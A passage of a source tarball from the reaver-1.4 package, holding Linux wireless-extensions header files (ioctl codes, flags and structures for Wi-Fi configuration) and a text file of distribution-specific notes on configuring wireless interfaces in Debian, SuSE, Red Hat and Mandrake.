SIOCSIWAP 0x8B14 /* set access point MAC addresses */ #define SIOCGIWAP 0x8B15 /* get access point MAC addresses */ #define SIOCGIWAPLIST 0x8B17 /* get list of access point in range */ #define SIOCSIWSCAN 0x8B18 /* trigger scanning */ #define SIOCGIWSCAN 0x8B19 /* get scanning results */ /* 802.11 specific support */ #define SIOCSIWESSID 0x8B1A /* set ESSID (network name) */ #define SIOCGIWESSID 0x8B1B /* get ESSID */ #define SIOCSIWNICKN 0x8B1C /* set node name/nickname */ #define SIOCGIWNICKN 0x8B1D /* get node name/nickname */ /* As the ESSID and NICKN are strings up to 32 bytes long, it doesn't fit * within the 'iwreq' structure, so we need to use the 'data' member to * point to a string in user space, like it is done for RANGE... * The "flags" member indicate if the ESSID is active or not (promiscuous). */ /* Other parameters useful in 802.11 and some other devices */ #define SIOCSIWRATE 0x8B20 /* set default bit rate (bps) */ #define SIOCGIWRATE 0x8B21 /* get default bit rate (bps) */ #define SIOCSIWRTS 0x8B22 /* set RTS/CTS threshold (bytes) */ #define SIOCGIWRTS 0x8B23 /* get RTS/CTS threshold (bytes) */ #define SIOCSIWFRAG 0x8B24 /* set fragmentation thr (bytes) */ #define SIOCGIWFRAG 0x8B25 /* get fragmentation thr (bytes) */ #define SIOCSIWTXPOW 0x8B26 /* set transmit power (dBm) */ #define SIOCGIWTXPOW 0x8B27 /* get transmit power (dBm) */ #define SIOCSIWRETRY 0x8B28 /* set retry limits and lifetime */ #define SIOCGIWRETRY 0x8B29 /* get retry limits and lifetime */ /* Encoding stuff (scrambling, hardware security, WEP...) */ #define SIOCSIWENCODE 0x8B2A /* set encoding token & mode */ #define SIOCGIWENCODE 0x8B2B /* get encoding token & mode */ /* Power saving stuff (power management, unicast and multicast) */ #define SIOCSIWPOWER 0x8B2C /* set Power Management settings */ #define SIOCGIWPOWER 0x8B2D /* get Power Management settings */ /* -------------------- DEV PRIVATE IOCTL LIST -------------------- */ /* These 16 ioctl are wireless device private. * Each driver is free to use them for whatever purpose it chooses, * however the driver *must* export the description of those ioctls * with SIOCGIWPRIV and *must* use arguments as defined below. * If you don't follow those rules, DaveM is going to hate you (reason : * it make mixed 32/64bit operation impossible). */ #define SIOCIWFIRSTPRIV 0x8BE0 #define SIOCIWLASTPRIV 0x8BFF /* Previously, we were using SIOCDEVPRIVATE, but we now have our * separate range because of collisions with other tools such as * 'mii-tool'. * We now have 32 commands, so a bit more space ;-). * Also, all 'odd' commands are only usable by root and don't return the * content of ifr/iwr to user (but you are not obliged to use the set/get * convention, just use every other two command). * And I repeat : you are not obliged to use them with iwspy, but you * must be compliant with it. */ /* ------------------------- IOCTL STUFF ------------------------- */ /* The first and the last (range) */ #define SIOCIWFIRST 0x8B00 #define SIOCIWLAST SIOCIWLASTPRIV /* 0x8BFF */ /* Even : get (world access), odd : set (root access) */ #define IW_IS_SET(cmd) (!((cmd) & 0x1)) #define IW_IS_GET(cmd) ((cmd) & 0x1) /* ----------------------- WIRELESS EVENTS ----------------------- */ /* Those are *NOT* ioctls, do not issue request on them !!! */ /* Most events use the same identifier as ioctl requests */ #define IWEVTXDROP 0x8C00 /* Packet dropped to excessive retry */ #define IWEVQUAL 0x8C01 /* Quality part of statistics */ #define IWEVFIRST 0x8C00 /* ------------------------- PRIVATE INFO ------------------------- */ /* * The following is used with SIOCGIWPRIV. It allow a driver to define * the interface (name, type of data) for its private ioctl. * Privates ioctl are SIOCIWFIRSTPRIV -> SIOCIWLASTPRIV */ #define IW_PRIV_TYPE_MASK 0x7000 /* Type of arguments */ #define IW_PRIV_TYPE_NONE 0x0000 #define IW_PRIV_TYPE_BYTE 0x1000 /* Char as number */ #define IW_PRIV_TYPE_CHAR 0x2000 /* Char as character */ #define IW_PRIV_TYPE_INT 0x4000 /* 32 bits int */ #define IW_PRIV_TYPE_FLOAT 0x5000 #define IW_PRIV_SIZE_FIXED 0x0800 /* Variable or fixed nuber of args */ #define IW_PRIV_SIZE_MASK 0x07FF /* Max number of those args */ /* * Note : if the number of args is fixed and the size < 16 octets, * instead of passing a pointer we will put args in the iwreq struct... */ /* ----------------------- OTHER CONSTANTS ----------------------- */ /* Maximum frequencies in the range struct */ #define IW_MAX_FREQUENCIES 16 /* Note : if you have something like 80 frequencies, * don't increase this constant and don't fill the frequency list. * The user will be able to set by channel anyway... */ /* Maximum bit rates in the range struct */ #define IW_MAX_BITRATES 8 /* Maximum tx powers in the range struct */ #define IW_MAX_TXPOWER 8 /* Maximum of address that you may set with SPY */ #define IW_MAX_SPY 8 /* Maximum of address that you may get in the list of access points in range */ #define IW_MAX_AP 8 /* Maximum size of the ESSID and NICKN strings */ #define IW_ESSID_MAX_SIZE 32 /* Modes of operation */ #define IW_MODE_AUTO 0 /* Let the driver decides */ #define IW_MODE_ADHOC 1 /* Single cell network */ #define IW_MODE_INFRA 2 /* Multi cell network, roaming, ... */ #define IW_MODE_MASTER 3 /* Synchronisation master or Access Point */ #define IW_MODE_REPEAT 4 /* Wireless Repeater (forwarder) */ #define IW_MODE_SECOND 5 /* Secondary master/repeater (backup) */ /* Maximum number of size of encoding token available * they are listed in the range structure */ #define IW_MAX_ENCODING_SIZES 8 /* Maximum size of the encoding token in bytes */ #define IW_ENCODING_TOKEN_MAX 32 /* 256 bits (for now) */ /* Flags for encoding (along with the token) */ #define IW_ENCODE_INDEX 0x00FF /* Token index (if needed) */ #define IW_ENCODE_FLAGS 0xFF00 /* Flags defined below */ #define IW_ENCODE_MODE 0xF000 /* Modes defined below */ #define IW_ENCODE_DISABLED 0x8000 /* Encoding disabled */ #define IW_ENCODE_ENABLED 0x0000 /* Encoding enabled */ #define IW_ENCODE_RESTRICTED 0x4000 /* Refuse non-encoded packets */ #define IW_ENCODE_OPEN 0x2000 /* Accept non-encoded packets */ #define IW_ENCODE_NOKEY 0x0800 /* Key is write only, so not present */ /* Power management flags available (along with the value, if any) */ #define IW_POWER_ON 0x0000 /* No details... */ #define IW_POWER_TYPE 0xF000 /* Type of parameter */ #define IW_POWER_PERIOD 0x1000 /* Value is a period/duration of */ #define IW_POWER_TIMEOUT 0x2000 /* Value is a timeout (to go asleep) */ #define IW_POWER_MODE 0x0F00 /* Power Management mode */ #define IW_POWER_UNICAST_R 0x0100 /* Receive only unicast messages */ #define IW_POWER_MULTICAST_R 0x0200 /* Receive only multicast messages */ #define IW_POWER_ALL_R 0x0300 /* Receive all messages though PM */ #define IW_POWER_FORCE_S 0x0400 /* Force PM procedure for sending unicast */ #define IW_POWER_REPEATER 0x0800 /* Repeat broadcast messages in PM period */ #define IW_POWER_MODIFIER 0x000F /* Modify a parameter */ #define IW_POWER_MIN 0x0001 /* Value is a minimum */ #define IW_POWER_MAX 0x0002 /* Value is a maximum */ #define IW_POWER_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Transmit Power flags available */ #define IW_TXPOW_DBM 0x0000 /* Value is in dBm */ #define IW_TXPOW_MWATT 0x0001 /* Value is in mW */ /* Retry limits and lifetime flags available */ #define IW_RETRY_ON 0x0000 /* No details... */ #define IW_RETRY_TYPE 0xF000 /* Type of parameter */ #define IW_RETRY_LIMIT 0x1000 /* Maximum number of retries*/ #define IW_RETRY_LIFETIME 0x2000 /* Maximum duration of retries in us */ #define IW_RETRY_MODIFIER 0x000F /* Modify a parameter */ #define IW_RETRY_MIN 0x0001 /* Value is a minimum */ #define IW_RETRY_MAX 0x0002 /* Value is a maximum */ #define IW_RETRY_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Scanning request flags */ #define IW_SCAN_DEFAULT 0x0000 /* Default scan of the driver */ #define IW_SCAN_ALL_ESSID 0x0001 /* Scan all ESSIDs */ #define IW_SCAN_THIS_ESSID 0x0002 /* Scan only this ESSID */ #define IW_SCAN_ALL_FREQ 0x0004 /* Scan all Frequencies */ #define IW_SCAN_THIS_FREQ 0x0008 /* Scan only this Frequency */ #define IW_SCAN_ALL_MODE 0x0010 /* Scan all Modes */ #define IW_SCAN_THIS_MODE 0x0020 /* Scan only this Mode */ #define IW_SCAN_ALL_RATE 0x0040 /* Scan all Bit-Rates */ #define IW_SCAN_THIS_RATE 0x0080 /* Scan only this Bit-Rate */ /* Maximum size of returned data */ #define IW_SCAN_MAX_DATA 4096 /* In bytes */ /****************************** TYPES ******************************/ /* --------------------------- SUBTYPES --------------------------- */ /* * Generic format for most parameters that fit in an int */ struct iw_param { __s32 value; /* The value of the parameter itself */ __u8 fixed; /* Hardware should not use auto select */ __u8 disabled; /* Disable the feature */ __u16 flags; /* Various specifc flags (if any) */ }; /* * For all data larger than 16 octets, we need to use a * pointer to memory allocated in user space. */ struct iw_point { caddr_t pointer; /* Pointer to the data (in user space) */ __u16 length; /* number of fields or size in bytes */ __u16 flags; /* Optional params */ }; /* * A frequency * For numbers lower than 10^9, we encode the number in 'm' and * set 'e' to 0 * For number greater than 10^9, we divide it by the lowest power * of 10 to get 'm' lower than 10^9, with 'm'= f / (10^'e')... * The power of 10 is in 'e', the result of the division is in 'm'. */ struct iw_freq { __u32 m; /* Mantissa */ __u16 e; /* Exponent */ __u8 i; /* List index (when in range struct) */ }; /* * Quality of the link */ struct iw_quality { __u8 qual; /* link quality (%retries, SNR, %missed beacons or better...) */ __u8 level; /* signal level (dBm) */ __u8 noise; /* noise level (dBm) */ __u8 updated; /* Flags to know if updated */ }; /* * Packet discarded in the wireless adapter due to * "wireless" specific problems... * Note : the list of counter and statistics in net_device_stats * is already pretty exhaustive, and you should use that first. * This is only additional stats... */ struct iw_discarded { __u32 nwid; /* Rx : Wrong nwid/essid */ __u32 code; /* Rx : Unable to code/decode (WEP) */ __u32 fragment; /* Rx : Can't perform MAC reassembly */ __u32 retries; /* Tx : Max MAC retries num reached */ __u32 misc; /* Others cases */ }; /* * Packet/Time period missed in the wireless adapter due to * "wireless" specific problems... */ struct iw_missed { __u32 beacon; /* Missed beacons/superframe */ }; /* ------------------------ WIRELESS STATS ------------------------ */ /* * Wireless statistics (used for /proc/net/wireless) */ struct iw_statistics { __u16 status; /* Status * - device dependent for now */ struct iw_quality qual; /* Quality of the link * (instant/mean/max) */ struct iw_discarded discard; /* Packet discarded counts */ struct iw_missed miss; /* Packet missed counts */ }; /* ------------------------ IOCTL REQUEST ------------------------ */ /* * This structure defines the payload of an ioctl, and is used * below. * * Note that this structure should fit on the memory footprint * of iwreq (which is the same as ifreq), which mean a max size of * 16 octets = 128 bits. Warning, pointers might be 64 bits wide... * You should check this when increasing the structures defined * above in this file... */ union iwreq_data { /* Config - generic */ char name[IFNAMSIZ]; /* Name : used to verify the presence of wireless extensions. * Name of the protocol/provider... */ struct iw_point essid; /* Extended network name */ struct iw_param nwid; /* network id (or domain - the cell) */ struct iw_freq freq; /* frequency or channel : * 0-1000 = channel * > 1000 = frequency in Hz */ struct iw_param sens; /* signal level threshold */ struct iw_param bitrate; /* default bit rate */ struct iw_param txpower; /* default transmit power */ struct iw_param rts; /* RTS threshold threshold */ struct iw_param frag; /* Fragmentation threshold */ __u32 mode; /* Operation mode */ struct iw_param retry; /* Retry limits & lifetime */ struct iw_point encoding; /* Encoding stuff : tokens */ struct iw_param power; /* PM duration/timeout */ struct iw_quality qual; /* Quality part of statistics */ struct sockaddr ap_addr; /* Access point address */ struct sockaddr addr; /* Destination address (hw) */ struct iw_param param; /* Other small parameters */ struct iw_point data; /* Other large parameters */ }; /* * The structure to exchange data for ioctl. * This structure is the same as 'struct ifreq', but (re)defined for * convenience... * Do I need to remind you about structure size (32 octets) ? */ struct iwreq { union { char ifrn_name[IFNAMSIZ]; /* if name, e.g. "eth0" */ } ifr_ifrn; /* Data part (defined just above) */ union iwreq_data u; }; /* -------------------------- IOCTL DATA -------------------------- */ /* * For those ioctl which want to exchange mode data that what could * fit in the above structure... */ /* * Range of parameters */ struct iw_range { /* Informative stuff (to choose between different interface) */ __u32 throughput; /* To give an idea... */ /* In theory this value should be the maximum benchmarked * TCP/IP throughput, because with most of these devices the * bit rate is meaningless (overhead an co) to estimate how * fast the connection will go and pick the fastest one. * I suggest people to play with Netperf or any benchmark... */ /* NWID (or domain id) */ __u32 min_nwid; /* Minimal NWID we are able to set */ __u32 max_nwid; /* Maximal NWID we are able to set */ /* Frequency */ __u16 num_channels; /* Number of channels [0; num - 1] */ __u8 num_frequency; /* Number of entry in the list */ struct iw_freq freq[IW_MAX_FREQUENCIES]; /* list */ /* Note : this frequency list doesn't need to fit channel numbers */ /* signal level threshold range */ __s32 sensitivity; /* Quality of link & SNR stuff */ struct iw_quality max_qual; /* Quality of the link */ /* Rates */ __u8 num_bitrates; /* Number of entries in the list */ __s32 bitrate[IW_MAX_BITRATES]; /* list, in bps */ /* RTS threshold */ __s32 min_rts; /* Minimal RTS threshold */ __s32 max_rts; /* Maximal RTS threshold */ /* Frag threshold */ __s32 min_frag; /* Minimal frag threshold */ __s32 max_frag; /* Maximal frag threshold */ /* Power Management duration & timeout */ __s32 min_pmp; /* Minimal PM period */ __s32 max_pmp; /* Maximal PM period */ __s32 min_pmt; /* Minimal PM timeout */ __s32 max_pmt; /* Maximal PM timeout */ __u16 pmp_flags; /* How to decode max/min PM period */ __u16 pmt_flags; /* How to decode max/min PM timeout */ __u16 pm_capa; /* What PM options are supported */ /* Encoder stuff */ __u16 encoding_size[IW_MAX_ENCODING_SIZES]; /* Different token sizes */ __u8 num_encoding_sizes; /* Number of entry in the list */ __u8 max_encoding_tokens; /* Max number of tokens */ /* Transmit power */ __u16 txpower_capa; /* What options are supported */ __u8 num_txpower; /* Number of entries in the list */ __s32 txpower[IW_MAX_TXPOWER]; /* list, in bps */ /* Wireless Extension version info */ __u8 we_version_compiled; /* Must be WIRELESS_EXT */ __u8 we_version_source; /* Last update of source */ /* Retry limits and lifetime */ __u16 retry_capa; /* What retry options are supported */ __u16 retry_flags; /* How to decode max/min retry limit */ __u16 r_time_flags; /* How to decode max/min retry life */ __s32 min_retry; /* Minimal number of retries */ __s32 max_retry; /* Maximal number of retries */ __s32 min_r_time; /* Minimal retry lifetime */ __s32 max_r_time; /* Maximal retry lifetime */ /* Average quality of link & SNR */ struct iw_quality avg_qual; /* Quality of the link */ /* This should contain the average/typical values of the quality * indicator. This should be the threshold between a "good" and * a "bad" link (example : monitor going from green to orange). * Currently, user space apps like quality monitors don't have any * way to calibrate the measurement. With this, they can split * the range between 0 and max_qual in different quality level * (using a geometric subdivision centered on the average). * I expect that people doing the user space apps will feedback * us on which value we need to put in each driver... */ }; /* * Private ioctl interface information */ struct iw_priv_args { __u32 cmd; /* Number of the ioctl to issue */ __u16 set_args; /* Type and number of args */ __u16 get_args; /* Type and number of args */ char name[IFNAMSIZ]; /* Name of the extension */ }; /* ----------------------- WIRELESS EVENTS ----------------------- */ /* * Wireless events are carried through the rtnetlink socket to user * space. They are encapsulated in the IFLA_WIRELESS field of * a RTM_NEWLINK message. */ /* * A Wireless Event. Contains basically the same data as the ioctl... */ struct iw_event { __u16 len; /* Real lenght of this stuff */ __u16 cmd; /* Wireless IOCTL */ union iwreq_data u; /* IOCTL fixed payload */ }; /* Size of the Event prefix (including padding and alignement junk) */ #define IW_EV_LCP_LEN (sizeof(struct iw_event) - sizeof(union iwreq_data)) /* Size of the various events */ #define IW_EV_CHAR_LEN (IW_EV_LCP_LEN + IFNAMSIZ) #define IW_EV_UINT_LEN (IW_EV_LCP_LEN + sizeof(__u32)) #define IW_EV_FREQ_LEN (IW_EV_LCP_LEN + sizeof(struct iw_freq)) #define IW_EV_POINT_LEN (IW_EV_LCP_LEN + sizeof(struct iw_point)) #define IW_EV_PARAM_LEN (IW_EV_LCP_LEN + sizeof(struct iw_param)) #define IW_EV_ADDR_LEN (IW_EV_LCP_LEN + sizeof(struct sockaddr)) #define IW_EV_QUAL_LEN (IW_EV_LCP_LEN + sizeof(struct iw_quality)) /* Note : in the case of iw_point, the extra data will come at the * end of the event */ #endif /* _LINUX_WIRELESS_H */ reaver-1.4/src/lwe/DISTRIBUTIONS.txt0000755000175000017500000003416511705505256016377 0ustar reaverreaver Distribution specific notes on Wireless Configuration ----------------------------------------------------- ***** HELP ***** If people send me information about the specifics of each distribution, I'll try to collect that here. Don't forget to mention to which distribution those instructions apply, the tool used (if any) and the files modified. Actually, the people packaging my tools for a specific distribution have a moral obligation to send me the exact detailed instructions of what they have done. I will list in the wireless.7 man page only distributions that give me an official answer. ***** HELP ***** ----- INTRODUCTION ------------ The tools enable users to change the card settings at run time (when running iwconfig, for example). However, most users want the card to be configured either at boot time or when the card is activated in the system. Each distribution has its own configuration scripts, and therefore is slightly different. Some distributions even add some graphical setup tool (nice). This file describe the procedure for a few of them. Note : if you install the Pcmcia package in source form from the official Linux-Pcmcia web site (as opposed to precompiled by a distribution, please use the PCMCIA method). Please remember : I don't use your distribution, and I have absolutely no clue about how your distribution works. I'm just collecting random information here without beeing able to verify it. ----- WIRELESS DRIVERS ---------------- Most Linux wireless drivers support Wireless Extensions, and therefore may be configure via Wireless Tools and the methods described in this file. However, a few drivers have no support or limited support for Wireless Extensions (like read only). In those cases, these are your options : o read the driver documentation. o use the driver specific interface or tools to configure the card, and try to integrate that in your distribution. o implement Wireless Extension support in the driver. In some cases, there are easier workaround. Different version of the driver may add Wireless Extension (often alongside the proprietary method). In some other case, there may be another driver supporting the same card and with support for Wireless Extensions. Some Linux wireless drivers don't export all wireless settings via Wireless Extensions, not even through iwpriv. Those setting may be available through the driver specific interface. Refer to previous section for workarounds. --------------------------------------------------------------------- PCMCIA METHOD ------------- (Contributed by Jean Tourrilhes ) This method work for *all* distributions. For Pcmcia cards, it is possible to overwrite the Pcmcia configuration files of the distribution with the original Pcmcia configuration files from the Pcmcia package (/etc/pcmcia/*). If you install the Pcmcia package in source form from the official Linux-Pcmcia web site, this will be done automatically. Once this is done, you can no longer use the specific tools and configuration files of the distribution, and are required to use Pcmcia style of configuration (see Pcmcia Howto). In such a case, Wireless configuration is done through wireless.opts, and documented in the file PCMCIA.txt. --------------------------------------------------------------------- DEBIAN 2.2 (and earlier) ---------- (Contributed by Jean Tourrilhes ) Debian 2.2 (and earlier) doesn't support any Wireless Configuration. You are required to use the Pcmcia method. Also, the Wireless Tools package is not part of the standard packages. --------------------------------------------------------------------- DEBIAN 3.0 (and later) ---------- (Contributed by Guus Sliepen ) Debian also has another way of configuring network devices, controlled by /etc/network/interfaces. Users can add a wireless interface to /etc/network/interfaces, using the standard options to set the address and such, but the wireless-tools package adds new option statements that can be used to configure keys, channel, etcetera. From the README.Debian script that comes with wireless-tools: /etc/network/interfaces ----------------------- You can now add extra statements to the iface sections of the files in /etc/network/interfaces that are specific for wireless interfaces. They are of the form: wireless- Before the interface is brought up, such a statement will result in the execution of the following command: iwconfig Example: iface eth0 inet static address 192.168.1.2 network 192.168.1.0 netmask 255.255.255.0 broadcast 192.168.1.255 wireless-essid Home wireless-mode ad-hoc The current Debian script support all arguments present in wireless.opts apart from Nickname. You can check this in the script /etc/network/if-pre-up.d/wireless-tool. You will need of course to install the Wireless Tools package if it's not already done, which is part of the standard package list (use dselect, dpkg, apt or anything you like to get it). ----- (Contributed by Joey Hess ) /etc/network/interfaces is much more flexible than it appears. It can probably do everything pcmcia schemes can do, and more. Here is part of mine: auto wlan0 mapping wlan0 script /usr/local/bin/ifscheme-mapping iface wlan0-home inet static address 192.168.1.5 gateway 192.168.1.1 netmask 255.255.255.0 wireless-mode ad-hoc wireless-essid wortroot wireless-nick dragon wireless-channel 1 iface wlan0-away inet dhcp wireless-mode managed Now I can type 'ifscheme -s away' when I leave home, rather like cardctl scheme. The ifscheme script is at http://bugs.debian.org/154444. If the request in bug #154442 is implemented, it will become very flexible indeed.. Debian will hopefully be using this same file eventually for pcmcia network devices too. It's already doable but takes a little work. This is all rather rough and badly documented so far. You can also do mapping based on the MAC address, if you want specific configuration on specific card. See /usr/share/doc/ifupdown/examples/get-mac-address.sh and the stanza in /usr/share/doc/ifupdown/examples/network-interfaces.gz that uses it. This comes back to the problem I alluded to with mapping scripts not being "nestable" yet, and bug #154442. You can do what you want today, but you may need to write your own mapping script which uses a combination of MAC address and scheme info to return a stanza name to ifupdown. ----- (Contributed by Jean Tourrilhes ) The 'ifscheme' scripts mentionned above are now available in Debian Sarge, in the 'ifscheme' package. The MAC address based mapping mentioned above is deprecated, you should use 'ifrename' to assign a consistent interface name to each of your network interface. This is documented in HOTPLUG.txt. This enable the combination of MAC address identification of interfaces with scheme multi-configuration. ----- If you need automatic wireless configuration, you can look at the following packages : o ifupdown-roaming : http://panopticon.csustan.edu/thood/ifupdown-roaming.html o waproamd http://0pointer.de/lennart/projects/waproamd/ --------------------------------------------------------------------- SuSE 8.0 and later -------- (Contributed by Christian Zoz ) All network configuration is done in the directory /etc/sysconfig/network. It does not matter if it's a build in NIC or PCMCIA, USB, etc. The files network.opts and wireless.opts in /etc/pcmcia are not used any longer. There is /sbin/ifup to set up all kind of network interface. There is a file /etc/sysconfig/network/wireless where you may set most of the options of iwconfig in seperate variables (they are named like the options). Additionally you may use WIRELESS_IWCONFIG_OPTIONS e.g. for setting key 2, 3 or 4 or unsupported iwconfig commands. This file is documented and its settings are used for any wlan NIC. Configuration of wireless variable looks like : WIRELESS_ESSID="" Every variable from file wireless may be used in the interface configuration files /etc/sysconfig/network/ifcfg-* as well. As expectable this overwrites the global setting in wireless. For sophisticated use of the ifcfg-* files read 'man ifup'. Hint for PCMCIA and USB users: You need not to use the iterface name for the configuration as this may vary from one plugin to another. You may use a description of your hardware instead (ifcfg- or ifcfg-pcmcia-1 for card in Slot 1) Some of the variables can be set with YaST2 as well. If you miss the 'schemes' functionality from the pcmcia-cs packages use the tool SCPM (System Configuration Profile Management) instead. This extends the pcmcia schemes to the whole system configuration. Read 'info scpm'. Since SuSE 8.1 there also is a YaST2 modul for SCPM. --------------------------------------------------------------------- RED-HAT 7.2 ----------- (Grabbed from various source - Google is your friend) Configuration is done in the file : /etc/sysconfig/network-scripts/ifcfg-ethN Where 'ethN' is the name of the wireless interface (such as eth0, eth1, ...). The following lines may be added in this file : MODE= ESSID="" RATE= TXPOWER= KEY="" The full list of configuration can be found in the file : /etc/sysconfig/network-scripts/ifup-wireless Note that Brad Allison has other tips for 7.2 : http://jackal.dnsalias.com:8080/public/misc/wireless/wireless.html --------------------------------------------------------------------- RED-HAT 7.3 and later ----------- (Cut'n'pasted from Brad Allison web page) http://jackal.dnsalias.com:8080/public/misc/wireless/wireless.html If you are running RedHat 7.3, I would tell you to simply run /usr/bin/redhat-config-network and click "Devices", Click "Add", then select "Wireless Connection". You can find the full instructions in RedHat's Customization Guide for RH7.3 in Chapter 6, Network Configuration: Wireless Connection. http://www.redhat.com/docs/manuals/linux/ http://www.redhat.com/docs/manuals/linux/RHL-7.3-Manual/custom-guide/s1-network-config-wireless.html However, according to the Errata: The version of the Red Hat Network Administration Tool that shipped with Red Hat Linux 7.3 did not include wireless connection in the configuration wizard. An enhancement errata will be released soon with this feature. You can download the newest version of redhat-config-network from rpmfind.net. http://www.redhat.com/docs/errata/RHL-7.3-Manual/ http://www.rpmfind.net/linux/rpm2html/search.php?query=redhat-config-network&submit=Search+... ----- (Grabbed from various source - Google is your friend) The current graphical user interface support : ESSID, Mode, Freq, Channel, Rate, Key Compared to Red-Hat 7.2, the Wireless Setting in the configuration file have change to include the WIRELESS_ prefix : WIRELESS_MODE= WIRELESS_ESSID='' WIRELESS_ENC_KEY='' The underlying configuration files and configurations options seems to be indentical to what is done in Mandrake 8.2 (or vice versa), so please check the section below. This allow configuration of additional wireless settings not available in the GUI. ----- (Extrapolated from web page of Martin Pot ) http://ii.net/~mpot/wireless/router.cgi Red-Hat 7.3 also seem to support configuration in wireless.opts to some extent. But for compatibility with the network admin tools, I would still recommend to use the above method. Red-Hat 7.3 seems to load wvlan_cs for Orinoco cards and friends. The above web page explain how to switch it to orinoco_cs. --------------------------------------------------------------------- RED-HAT 9.0 and later ----------- (Cut'n'pasted from Dax Kelson web page) http://www.gurulabs.com/RedHatLinux9-review.html A little known fact is that newer versions of RHL support multiple network profiles. This is useful for machines that commonly plug into different networks (think laptops). The easy way to create network profiles is to use the redhat-config-network command. The question then becomes, what happens when you type "ifup eth0"? The behavior wasn't defined in previous versions, however, now in RHL 9 the following behavior is defined; search path for: # ifup $DEV is: /etc/sysconfig/networking/profiles/$CURRENT_PROFILE/ifcfg-$DEV /etc/sysconfig/networking/profiles/default/ifcfg-$DEV /etc/sysconfig/network-scripts/ifcfg-$DEV A cool trick is to boot your RHL box directly into a profile from the GRUB boot screen. To do this, create a separate /etc/boot/grub.conf entry for each network profile, and in each entry add the kernel argument netprofile=profilename. ----- I'm pretty certain the profile scheme above also apply to wireless settings, which is good news... --------------------------------------------------------------------- MANDRAKE 8.2 and later ------------ (Grabbed from various source - Google is your friend) Configuration is done in the file : /etc/sysconfig/network-scripts/ifcfg-ethN Where 'ethN' is the name of the wireless interface (such as eth0, eth1, ...). The following lines may be added in this file : WIRELESS_MODE= WIRELESS_ESSID= WIRELESS_NWID= WIRELESS_FREQ= WIRELESS_SENS= WIRELESS_RATE= WIRELESS_ENC_KEY= WIRELESS_RTS= WIRELESS_FRAG= WIRELESS_IWCONFIG= WIRELESS_IWSPY= WIRELESS_IWPRIV= Most likely, you only need to add a few of those lines and not all of them. The script doing the configuration and where you can check the details is : /etc/network/network-scripts/ifup-wireless You will of course need the Wireless Tools package : rpm -Uvh wireless-tools-XX-Xmdk.XXX.rpm Mandrake can also have wireless setting added to its Auto-Install procedure : http://members.shaw.ca/mandrake/drakx/8.2/HTML/section4-13.html ----- (in e-mail from Thierry Vignaud ) You may use the following tool : o drakconnect You may read the following documentation : o ifcfg --------------------------------------------------------------------- Have fun... Jean reaver-1.4/src/lwe/wireless.16.h0000755000175000017500000006565611705505257016041 0ustar reaverreaver/* * This file define a set of standard wireless extensions * * Version : 16 2.4.03 * * Authors : Jean Tourrilhes - HPL - * Copyright (c) 1997-2002 Jean Tourrilhes, All Rights Reserved. */ #ifndef _LINUX_WIRELESS_H #define _LINUX_WIRELESS_H /************************** DOCUMENTATION **************************/ /* * Initial APIs (1996 -> onward) : * ----------------------------- * Basically, the wireless extensions are for now a set of standard ioctl * call + /proc/net/wireless * * The entry /proc/net/wireless give statistics and information on the * driver. * This is better than having each driver having its entry because * its centralised and we may remove the driver module safely. * * Ioctl are used to configure the driver and issue commands. This is * better than command line options of insmod because we may want to * change dynamically (while the driver is running) some parameters. * * The ioctl mechanimsm are copied from standard devices ioctl. * We have the list of command plus a structure descibing the * data exchanged... * Note that to add these ioctl, I was obliged to modify : * # net/core/dev.c (two place + add include) * # net/ipv4/af_inet.c (one place + add include) * * /proc/net/wireless is a copy of /proc/net/dev. * We have a structure for data passed from the driver to /proc/net/wireless * Too add this, I've modified : * # net/core/dev.c (two other places) * # include/linux/netdevice.h (one place) * # include/linux/proc_fs.h (one place) * * New driver API (2002 -> onward) : * ------------------------------- * This file is only concerned with the user space API and common definitions. * The new driver API is defined and documented in : * # include/net/iw_handler.h * * Note as well that /proc/net/wireless implementation has now moved in : * # include/linux/wireless.c * * Wireless Events (2002 -> onward) : * -------------------------------- * Events are defined at the end of this file, and implemented in : * # include/linux/wireless.c * * Other comments : * -------------- * Do not add here things that are redundant with other mechanisms * (drivers init, ifconfig, /proc/net/dev, ...) and with are not * wireless specific. * * These wireless extensions are not magic : each driver has to provide * support for them... * * IMPORTANT NOTE : As everything in the kernel, this is very much a * work in progress. Contact me if you have ideas of improvements... */ /***************************** INCLUDES *****************************/ /* To minimise problems in user space, I might remove those headers * at some point. Jean II */ #include /* for "caddr_t" et al */ #include /* for "struct sockaddr" et al */ #include /* for IFNAMSIZ and co... */ /***************************** VERSION *****************************/ /* * This constant is used to know the availability of the wireless * extensions and to know which version of wireless extensions it is * (there is some stuff that will be added in the future...) * I just plan to increment with each new version. */ #define WIRELESS_EXT 16 /* * Changes : * * V2 to V3 * -------- * Alan Cox start some incompatibles changes. I've integrated a bit more. * - Encryption renamed to Encode to avoid US regulation problems * - Frequency changed from float to struct to avoid problems on old 386 * * V3 to V4 * -------- * - Add sensitivity * * V4 to V5 * -------- * - Missing encoding definitions in range * - Access points stuff * * V5 to V6 * -------- * - 802.11 support (ESSID ioctls) * * V6 to V7 * -------- * - define IW_ESSID_MAX_SIZE and IW_MAX_AP * * V7 to V8 * -------- * - Changed my e-mail address * - More 802.11 support (nickname, rate, rts, frag) * - List index in frequencies * * V8 to V9 * -------- * - Support for 'mode of operation' (ad-hoc, managed...) * - Support for unicast and multicast power saving * - Change encoding to support larger tokens (>64 bits) * - Updated iw_params (disable, flags) and use it for NWID * - Extracted iw_point from iwreq for clarity * * V9 to V10 * --------- * - Add PM capability to range structure * - Add PM modifier : MAX/MIN/RELATIVE * - Add encoding option : IW_ENCODE_NOKEY * - Add TxPower ioctls (work like TxRate) * * V10 to V11 * ---------- * - Add WE version in range (help backward/forward compatibility) * - Add retry ioctls (work like PM) * * V11 to V12 * ---------- * - Add SIOCSIWSTATS to get /proc/net/wireless programatically * - Add DEV PRIVATE IOCTL to avoid collisions in SIOCDEVPRIVATE space * - Add new statistics (frag, retry, beacon) * - Add average quality (for user space calibration) * * V12 to V13 * ---------- * - Document creation of new driver API. * - Extract union iwreq_data from struct iwreq (for new driver API). * - Rename SIOCSIWNAME as SIOCSIWCOMMIT * * V13 to V14 * ---------- * - Wireless Events support : define struct iw_event * - Define additional specific event numbers * - Add "addr" and "param" fields in union iwreq_data * - AP scanning stuff (SIOCSIWSCAN and friends) * * V14 to V15 * ---------- * - Add IW_PRIV_TYPE_ADDR for struct sockaddr private arg * - Make struct iw_freq signed (both m & e), add explicit padding * - Add IWEVCUSTOM for driver specific event/scanning token * - Add IW_MAX_GET_SPY for driver returning a lot of addresses * - Add 